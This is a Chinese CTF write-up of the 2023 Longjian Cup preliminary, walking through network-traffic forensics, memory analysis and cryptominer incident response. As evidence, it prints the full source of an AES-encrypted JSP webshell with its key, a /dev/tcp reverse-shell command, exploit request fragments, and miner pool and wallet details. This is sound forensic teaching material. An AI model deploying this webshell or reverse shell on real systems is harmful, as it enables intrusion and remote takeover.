2023陇剑杯预选赛
前言
该比赛属于数据安全的范畴,大部分是流量分析、数据分析、内存分析。
正文
EW(web流量)
ez_web_1
文件是ez_web.pcap
文件是常用的数据报存储格式,可以理解为就是一种文件格式,只不过里面的数据是按照特定格式存储的,所以我们想要解析里面的数据,也必须按照一定的格式。普通的记事本打开pcap文件显示的是乱码,用安装了HEX-Editor插件的Notepad++打开,能够以16进制数据的格式显示,用wireshark这种抓包工具就可以正常打开这种文件,愉快地查看里面的网络数据报了,同时wireshark也可以生成这种格式的文件。当然这些工具只是我经常使用的,还有很多其它能够查看pcap文件的工具。
pcap文件的总体结构就是 文件头-数据包头1-数据包1-数据包头2-数据包2 等形式
使用wireshark
打开文件,可以看到开始是ICMP协议的ping操作
既然显示后门,也不知道是什么文件类型,先从最简单的.php
开始吧,搜索字符串有.php
关键字的组,然后按长度的大小排列,我们优先看长的。成功找到疑似后门文件d00r.php
右键追踪TCP流,可以看到它在执行命令,但这不是flag。说明在它之前还有别的文件操作
在显示过滤器搜索含有d00r.php
的tcp包,发现第一个是ViewMore.php
,我们右键追踪tcp流
1 | tcp and frame contains "d00r" //查找含有相应字符串的tcp包 |
发现该文件ViewMore.php
在进行文件的上传,被上传的文件是d00r.php
,所以它就是后门文件。
所以flag为ViewMore.php
ez_web_2
一直跟着d00r.php
的流,存在ifconfig
的命令操作,但是结果是Gzip
格式。问题不大,我们右键追踪HTTP流就可以看见明文了
所以flag为192.168.101.132
ez_web_3
继续追踪这个tcp 10098 流,既然是写入那我们直接查找POST
也可以这么想既然知道了在上传文件,肯定要用到 http的request的 POST方法
在过滤器中 输入
1 | http && http.request.method==POST |
这里写入了一个k3y_file
解码看看
是乱码,查看文件类型后发现原来是zip,那我们直接python脚本转化回原来的文件
1 | from base64 import * |
随后解压我们的文件,发现需要密码
回想起刚刚在追踪流的时候好像看到过passwd
的字符串,回去看看
老样子,追踪HTTP流查看明文,疑似密码
经验证确实是解压码,拿到flag7d9ddff2-2d67-4eba-9e48-b91c26c42337
到此本关结束,一个流量包可以出3个flag
HW(web流量)
hard_web_1
查看端口其实考察的是应急响应中被nmap扫描到了哪些端口,可以参考https://mochu.blog.csdn.net/article/details/127569366
使用以下过滤器语句
1 | ip.dst == 192.168.162.188 and tcp.connection.synack //ip是目标服务器ip |
过滤命令1的结果:明显80,88,888
过滤命令2的结果:明显80,88,443,888,但是我们要注意目标服务器ip是192.168.162.188
,所以443
不是目标服务器开放的端口
所以flag为80,88,888
hard_web_2
这样的提问估计已经可以执行命令了
过滤http流,看到一个shell.jsp
右键追踪HTTP流,可以看到shell.jsp
的内容,哥斯拉(也很像冰蝎但是没有密钥协商)AES加密的shell
1 | 特征: |
PS:选择HTTP流是因为经过gzip解码的,如果是追踪TCP流还需要解码gzip,好一个流量加密马子
1 | <%! String xc="748007e861908c03"; class X extends ClassLoader{public X(ClassLoader z){super(z);}public Class Q(byte[] cb){return super.defineClass(cb, 0, cb.length);} }public byte[] x(byte[] s,boolean m){ try{javax.crypto.Cipher c=javax.crypto.Cipher.getInstance("AES");c.init(m?1:2,new javax.crypto.spec.SecretKeySpec(xc.getBytes(),"AES"));return c.doFinal(s); }catch (Exception e){return null; }}%><%try{byte[] data=new byte[Integer.parseInt(request.getHeader("Content-Length"))];java.io.InputStream inputStream= request.getInputStream();int _num=0;while ((_num+=inputStream.read(data,_num,data.length))<data.length);data=x(data, false);if (session.getAttribute("payload")==null){session.setAttribute("payload",new X(this.getClass().getClassLoader()).Q(data));}else{request.setAttribute("parameters", data);Object f=((Class)session.getAttribute("payload")).newInstance();java.io.ByteArrayOutputStream arrOut=new java.io.ByteArrayOutputStream();f.equals(arrOut);f.equals(pageContext);f.toString();response.getOutputStream().write(x(arrOut.toByteArray(), true));} }catch (Exception e){}%> |
所以我们知道了经过shell.jsp
获取到的数据流量都是经过AES加密的,好在它pwd=admin&cmd=cat%20/www/wwwroot/test.com/shell.jsp
的操作让我们知道了密钥748007e861908c03
那么我们接下来看看它都拿到了什么数据
1 | http contains “shell.jsp” //过滤出相应的包 |
先看其中一个流
选择原始数据,以0d0a0d0a
(CRLF)为请求体/响应体
和请求头/响应头
的界限。我们一个一个组来追踪解密,最终在
tcp.stream eq 20053
组中解密出了flag,下面记录一下这个解密工具的使用(功能强大但是有点复杂)
首先我们拿到一个组
等下我们要转换为原始数据,然后对请求的数据和响应体进行AES的解密
来到CyberChef
进行解密,我使用的是离线的。下载网址https://github.com/gchq/CyberChef/releases/tag/v10.5.2
我们在Operation
处搜索功能,将AES Decrypt
功能往Recipe
拖动即可使用该功能,然后在key
处输入密钥748007e861908c03
,在input
输入密文,功能显示input
的类型是HEX
,刚好和我们的数据符合,如果不符合我们也可以自行调整。这时候要注意output
,因为有它的提示我们才能一步一步调整功能参数进行解密。这里报错说Invalid key length: 0 bytes
,但是我们的密钥本来就是16位,它说是8位,所以要把密钥的类型改为UTF8
将key的HEX修改为UTF8
这里显示需要IV
,我们调整Mode
为ECB
这时候似乎有输出了,但是是乱码,我们鼠标移动到魔术棒上查看说是Gzip
格式,所以我们在Operation
搜索Gzip
并拖入AES Decrypt
功能的下面(注意位置,代表着处理顺序)
可以看到输出还是乱码,魔术棒提示这应该是Gunzip
格式,好家伙耍我?搜索Gunzip
拖入底部
这回又说是Gzip
了,原因只有一个,两种格式冲突了,我们把Gzip
往左边的Operation
功能区拖动代表取消使用
这时候就解密成功了!!!
接着将响应体的流量也解密一下,flag为flag{9236b29d-5488-41e6-a04b-53b0d8276542}
值得注意的是工具支持识别input
类型,比如当input类型不知道的时候,但是又觉得想HEX
,我们可以添加from hex
功能为auto,但是必须注意顺序,要放在解密前面,因为它是输入
hard_web_3
webshell连接密码就是:748007e861908c03
cmd5撞一下即可得知是(不过这条MD5在线
收费)
好在另一平台可以免费查到https://www.somd5.com/
。推荐
所以flag为14mk3y
至此HW题型结束
WS(普通流量分析)
Wireshark1_1
我们看到目的IP只有两个,x.x.x.1
一般是路由,所以被入侵的主机IP是192.168.246.28
。很明显是被TELNET登陆的
所以flag为192.168.246.28
Wireshark1_2
右键一个Telnet
流,选择追踪TCP流,一眼可以看到登录的账号和密码
所以flag为youcannevergetthis
Wireshark1_3
从登录账号可知用户名为ctf
,注意用户目录是波浪号~
,注意ls
所以flag为Downloads
到此WS题型结束
SSW(蚁剑流量)
SmallSword_1
既然是蚁剑连接,那么不是GET就是POST,根据蚁剑的一句话特点我们过滤一下
1 | 过滤: |
右键追踪http流,%22是双引号的url编码
我们解码一下6ea280898e404bfabd0ebb702327b18f
,应该是md5(你见过蚁剑密码加密的吗?没有,所以这就是密码:)
所以flag为6ea280898e404bfabd0ebb702327b18f
SmallSword_2
在上一题中我们知道黑客是写入一句话到info1.php
中的,所以接下来的操作必然是在访问该文件的情况下进行的
过滤出带有info1.php
的流量,从最后往前看,因为前面大多是扫描流量,没啥关键的。蚁剑的base64传输,直接解码一条一条看即可
1 | http contains "info1.php" |
右键追踪http流,解码请求体(url和base64)
最后追踪到tcp.stream eq 142
流发现有写文件的操作
chat-GPT是这样说的
我们base64
解码一下写入的文件
所以flag为ad6269b7-3ce2-4ae8-b97f-f259515e7a91
SmallSword_3
我们这时需要将流量包中的所有文件导出来查看一下。
1 | 1.过滤http流 |
文件导出完成后打开文件夹查看,发现一个很大的文件
打开这个文件发现是16进制的,所以我们用010 Editor
打开。主要看文件头,16进制的4D 5A
是.exe
等文件的文件头,解码出来就是MZ
。更多文件头请查看/我的学习笔记/常见文件文件头.md
我们删掉 2D 3E 7C
,后缀名改为 .exe
,双击运行得到一张图(又是i春秋:),虽然在window上是正常打开的,但是拿到Linux是不能正常打开的,所以misc的图片可以第一时间拿到Linux上打开是否是正常的
再次使用010 Editor
打开发现文件头显示这是一张 png 图片,我们改一下后缀重新打开,还是一样的。来到图片隐写。检查一下宽高
现在需要我们回到16进制中修改,宽是正常的,我们修改一下高就可以了
保存图片,重新打开
这里写了一个python脚本直接爆破宽高并修改输出新图片,全自动
1 | import zlib |
下面是修正版,不会输出字符了
1 | import zlib |
所以flag为flag3{8fOdffac-5801-44a9-bd49-e66192ce4f57}
HD(flask)
hacked_1
既然是登录用户,那就是触发login
功能
1 | http contains "login" && http.request.method==POST |
这个流一眼嫌疑
右键跟踪http流,发现登录用户密码,CyberChef
解密
1 | username=pl3HJGsgs1Zn43qjV5Qx8w== |
base64解码一下显示乱码,那可能不是base64
回去再看看流,我们看login
流的开始,发现了AES
加密,而且key
和IV
已给出,CBC
模式
1 | crypt_key=l36DoqKUYQP0N7e1 |
再来解密一次,解出来账号密码居然都是aaa
,显然这不是
回去再看看登录成功的账号密码
1 | username=UPFtSEoUfu4tgc6rUOc8Iw== |
账号是admin
,不是题目要求的admIn
密码
接着继续找,上下翻流,然后解码账号观察是不是admIn
就行
1 | http contains "login" && http.request.method==POST |
看一下密码
所以flag为flag{WelC0m5_TO_H3re}
hacked_2
题目考察查看flask
的配置文件app.config
参数,文章https://www.cnblogs.com/kaerxifa/p/11780941.html
1 | 常见: |
1 | 比较重要的: |
这题让我们找密钥,直接过滤追踪带关键字的tcp
流或http
流
1 | tcp contains "SECRET_KEY" |
追踪流
所以flag为ssti_flask_hsfvaldb
hacked_3
SECRET_KEY:密钥字符串已经知道,而且从前面的流可以看到cookie
的格式是JWT,那么这题考察的是解密JWT,要找到执行命令的包
这个包是启动flask
的
解法1:可以使用大佬的cookie
伪造脚本可以加解密,python脚本使用密钥解密文章https://blog.csdn.net/since_2020/article/details/119543172
脚本有解密、加密两种功能,需要知道SECRET_KEY值。具体用法如下解密:
python3 flask_session_manager3.py decode -c “cookie值” -s “SECRET_KEY值” // -c是flask cookie里的session值 -s参数是SECRET_KEY加密:
python flask_session_manager3.py encode -s “SECRET_KEY值” -t “{xxx}”// -s参数是SECRET_KEY -t参数是session的参照格式,也就是session解密后的格式
1 | 命令行执行: |
解法2:也可以在线平台 Flask Session Cookie Decoder ,不需要SECRET_KEY值,直接将cookie
放入即可https://www.kirsle.net/wizards/flask-session.cgi
解法3:自己写一个python脚本在本地运行解密,不需要SECRET_KEY值
1 | #!/usr/bin/python |
所以flag为red
到此该题型结束
BF(虚拟机)
baby_forensics_1
给了两个文件,一个磁盘镜像,另一个猜测是内存镜像,DiskGenius
打开.vmdk
(先打开DiskGenius,然后将文件拖进去)
点解分区发现是加密的
介绍工具:
Volatility
是一款非常强大的内存取证工具,它是由来自全世界的数百位知名安全专家合作开发的一套工具, 可以用于windows
,linux
,mac osx
,android
等系统内存取证。
使用Volatility
查看.vmdk
信息未读取到有用的,随后查看.raw
的文件,有信息输出
在windows平台使用不方便,建议在Linux下使用,这里使用win(且本题用的是Python2版本)
1 | vol.py -f baby_forensics.raw --profile=Win7SP1x64 filescan | grep key |
将这个文件dump下来
1 | vol.py -f baby_forensics.raw --profile=Win7SP1x64 dumpfiles -Q 0x000000003df94070 -D /root/桌面/datasafety |
查看一下内容,直接提交flag是不对的,所以这应该是密文
1 | E96<6J:Da6g_b_f_gd75a3d4ch4heg4bab66ad5d |
最后得知这是ROT47
加密,CyberChef
解密
所以flag为thekeyis2e80307085fd2b5c49c968c323ee25d5
baby_forensics_1
查看进程
1 | vol.py -f /root/桌面/datasafety/BF/baby_forensics.raw --profile=Win7SP1x64 --profile=Win7SP1x64 psscan |
把文件dump出来
1 | vol.py -f /root/桌面/datasafety/BF/baby_forensics.raw --profile=Win7SP1x64 --profile=Win7SP1x64 memdump -p 2844 -D /root/桌面/datasafety |
查看该文件,file
命令查看文件,属于data
类型,我们把它后缀修改为data
,使用GIMP
打开,先不断调整位移使之有图像的阴影等,然后宽度适当即可,如下:
所以flag为7598632541
baby_forensics_3
1 | vol.py -f /root/桌面/datasafety/BF/baby_forensics.raw --profile=Win7SP1x64 psscan |
因为存在这个进程可以知道它会存在.snt
便签文件。我们查一下有没有这个文件
.SNT 文件大多属于 Microsoft 的 Sticky Notes 。 SNT 文件是使用与 Windows 桌面捆绑的 Sticky Notes 笔记应用程序创建的便签。使用win7 打开
1 | windows: |
将这个.snt
便签文件导出
1 | windows: |
根据上面的路径,将这个文件放到win7
的便签目录下(需要将隐藏文件显示才能找到路径),然后打开便笺应用,就可以看到密文,一眼就知道这是AES
以base64
的格式输出的
1 | 路径:C:\Users\mtrleed\AppData\Roaming\Microsoft\Sticky Notes |
1 | U2FsdGVkX195MCsw0ANs6/Vkjibq89YlmnDdY/dCNKRkixvAP6+B5ImXr2VIqBSp94qfIcjQhDxPgr9G4u++pA== |
现在需要我们查找AES
的key
。这里要用到RS(R-Studio Technician)
一款为数字取证实验室、数据恢复企业或个人提供了一流的专业数据恢复工具集。官网https://www.r-studio.com/zhcn/Data_Recovery_Technician.shtml
打开软件,导入镜像文件,这里不显示.raw
文件显示的文件类型改为全部
选中导入的镜像文件,然后选择分区搜索
搜素完毕点击红色目录
进入后开始查找
终于在这找到了疑似密钥key的文件,双击打开,查看
密钥为qwerasdf
。到CyberChef
解密失败,到普通在线网站解密即可https://www.sojson.com/encrypt_aes.html
该在线网站只会解base64的,恰巧。
所以flag为flag{ad9bca48-c7b0-4bd6-b6fb-aef90090bb98}
TP(TCP流专项)
某程序漏洞
tcpdump_1
过滤查看成功与失败的特征
1 | http contains "login" && http.request.method==POST |
这里是失败的
那我们根据特征过滤,挨个查看
1 | tcp contains "{\"errCode\":200}" |
所以flag为TMjpxFGQwD:123457
tcpdump_2
既然是越权,修改某个权限标识符的值达到越权,明显是在这种地方会有不一样
但是我们不知道谁是被越权的
既然有userid
的改变,又是一样的cookie,那基本可以确定这两个操作存在越权。不知道谁修改谁,我们挨个解密提交,成功的就是flag
1 | Cookie: accessToken=f412d3a0378d42439ee016b06ef3330c; zyplayertoken=f412d3a0378d42439ee016b06ef3330cQzw=; userid=1 |
最终提交成功的是userid=1
的cookie值得md5
所以flag为383c74db4e32513daaa1eeb1726d7255
tcpdump_3
既然是jdbc,那么就会带有关键字,直接过滤,学习一下高效过滤
1 | tcp contains "jdbc" and tcp contains "username" and tcp contains "password" |
1 | username: zyplayer |
所以flag为zyplayer:1234567
tcpdump_4
基本都是考察过滤
1 | 直接检索jdbc的payload: |
CVE编号直接将利用的包名和关键字贴上搜索引擎找就行
1 | CVE socketFactoryArg=org.springframework.context.support.ClassPathXmlApplicationContext |
所以flag为CVE-2022-21724:custom.dtd.xml
tcpdump_5
又是考察看谁的过滤语句精准,如果是你你会怎么下载呢?Linux中我试过很多种方式,大概率是从github
上下载的
1 | tcp contains "wget" |
最终好多个过滤都可以找到对应的流
1 | 猜中了关键字: |
其实正常的逻辑是不是拿到权限后也是会先安装fscan
扫内网?其实也是可以猜出来的
所以flag为fscan
IR(应急响应)
挖矿病毒,自启动
IncidentResponse_1
打开压缩包是一个.ova
这是一个虚拟机导出文件。VMware可以导入导出ova/ovf虚拟机文件
现在我们把它导入虚拟机,VMware打开irTest.ova
,中间有一些报错,问题不大,继续即可
使用题目给的账号密码root/IncidentResponsePasswd
登录虚拟机,有一说一密码真臭长
查看一下root
用户最新更新过的记录文件: .bash_history
、.viminfo
.bash_history
看了有一些修改操作,但是看了看这些文件内容貌似也没发现挖矿痕迹
vim 一下.viminfo
,发现了大量操作redis
相关配置(在vim中操作的行为,vim会自己主动记录下来,保存在 ~/.viminfo 文件里)
解法1:
直接进入Redis
目录查看进程信息可知,该程序发送数万条 udp 链接,结合之前的 redis 挖矿病毒猜测为该程序。
解法2:
查看
查看一下.sh
文件。这个命令的意思是:使用redis-server命令来启动redis服务进程。
并通过-c参数指定redis服务进程使用的配置文件为/etc/redis/redis.conf
接着我们到配置文件看看vim /etc/redis/redis.conf
这里发现一个url,有个域名donate.v2.xmrig.com:3333
,搜索引擎一下,确认为挖矿ip池
所以挖矿程序的路径为/etc/redis/redis.conf
,根据题目要求使用echo -n 'strings'|md5sum|cut -d ' ' -f1
获取md5值作为答案
1 | echo -n '/etc/redis/redis.conf'|md5sum|cut -d ' ' -f1 |
以为flag为91f4c88b7edff9dcd83a9d715ff452a2
但是不正确,原因是路径不是在配置文件应该是应用服务所在路由,尝试将路径改为
1 | echo -n '/etc/redis/redis-server'|md5sum|cut -d ' ' -f1 |
所以flag为6f72038a870f05cbf923633066e48881
IncidentResponse_2
上一题就看出来了
donate.v2.xmrig.com
1 | echo -n 'donate.v2.xmrig.com'|md5sum|cut -d ' ' -f1 |
所以flag为3fca20bb92d0ed67714e68704a0a4503
IncidentResponse_3
vim .bash_history
查看,发现有执行jar
包的操作,随后使用nohup
去保存运行的日志了(nohup
是Linux和Unix系统中的一个命令,其作用是在终端退出时,让进程在后台继续运行。它的全称为“no hang up”,意为“不挂起”。nohup
命令可以让你在退出终端或关闭SSH连接后继续运行命令。)
根据记录,在/home/app/
目录下找到了jar
包和日志文件,我们直接查看jar
包运行启动后的日志文件nohup.log
这个日志是真的很大,人麻了。最终发现shiro反序列化
的迹象
1 | echo -n 'shirodeserialization'|md5sum|cut -d '' -f1 |
所以flag为3ee726cb32f87a15d22fe55fa04c4dcd
IncidentResponse_4
解法1:在历史记录里看到过一个特殊的外网ip,没想到就是它
1 | echo -n '81.70.166.3'|md5sum|cut -d '' -f1 |
解法2:
攻击者都植入挖矿程序了,肯定登陆过服务器,直接last
查看登录记录
解法3:
也可以查看Nginx中的访问日志,tail /var/log/nginx/access.log
所以flag为c76b4b1a5e8c9e7751af4684c6a8b2c9
IncidentResponse_5
日志里UserAgent
就那么几个,可以一个一个试,最后发现就是最后访问时带的 UserAgent
1 | echo -n 'mozilla/5.0(compatible;baiduspider/2.0;+http://www.baidu.com/search/spider.html)'|md5sum|cut -d '' -f1 |
所以flag为6ba8458f11f4044cce7a621c085bb3c6
IncidentResponse_6
authorized_keys
不为空,推测攻击者开启了root
的SSH私钥登录
查看一下内容,确认就是
所路径就是/root/.ssh/authorized_keys
md5一下
所以flag为a1fa1b5aeb1f97340032971c342c4258
IncidentResponse_7
/lib/systemd/system/redis.service
这个配置很可疑,一直在重启redis
,也就是在不断维持植入的矿机程序
所以flag为b2c5af8ce08753894540331e5a947d35
SS(入侵流量分析)
系统被入侵还被植入挖矿病毒
sevrer save_1
过滤http
,前面都是爆破的干扰流量,直接看到后面
class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=_
有蹊跷,遇事不决就搜索引擎
所以flag为CVE-2022-22965
sevrer save_2
既然是反弹shell,那肯定有特征,不过也可能base过,尝试过滤一下
1 | 平时我写的反弹shell |
随便拿上几个特征过滤
http contains "/dev/tcp/"
追踪流发现端倪/bin/sh -i >& /dev/tcp/192.168.43.128/2333 0>&1
所以flag为192.168.43.128:2333
sevrer save_3
现在我们要去另一个文件查找,里面似乎包含了计算机的所有数据
/home/guests/
下发现一个main
文件,是ELF
可执行文件(Linux的主要可执行文件格式)
所以flag为main
sevrer save_4
生成的用户名和密码,直接查看/etc/passwd
以及/etc/shadow
分别查看账号密码
所以flag为ll:123456
sevrer save_5
刚刚在找病毒的时候看了一个.log
文件。/home/guests/.log.txt
中有一个外网IP
所以flag为172.105.202.239
sevrer save_6
日志文件是病毒文件运行后产生的,所以该目录下和日志文件修改时间相近的应该就是怀疑对象。从main
文件的修改时间来看,以及.idea
中两个看着很像挖矿程序的修改时间完全相同来猜测,lolMiner
、mine_doge.sh
是病毒运行后释放的文件。反正都在这个目录下
所以flag为lolMiner,mine_doge.sh
sevrer save_7
这个我们得看病毒的配置文件mine_doge.sh
是不是和应急响应的那一题很像,很明显,矿池地址:doge.millpools.cc:5567
所以flag为doge.millpools.cc:5567
sevrer save_8
还是在那个文件,挖矿的账户就是黑客钱包
1 | POOL=doge.millpools.cc:5567 //矿池 |
所以flag为DOGE:DRXz1q6ys8Ao2KnPbtb7jQhPjDSqtwmNN9.lolMinerWorker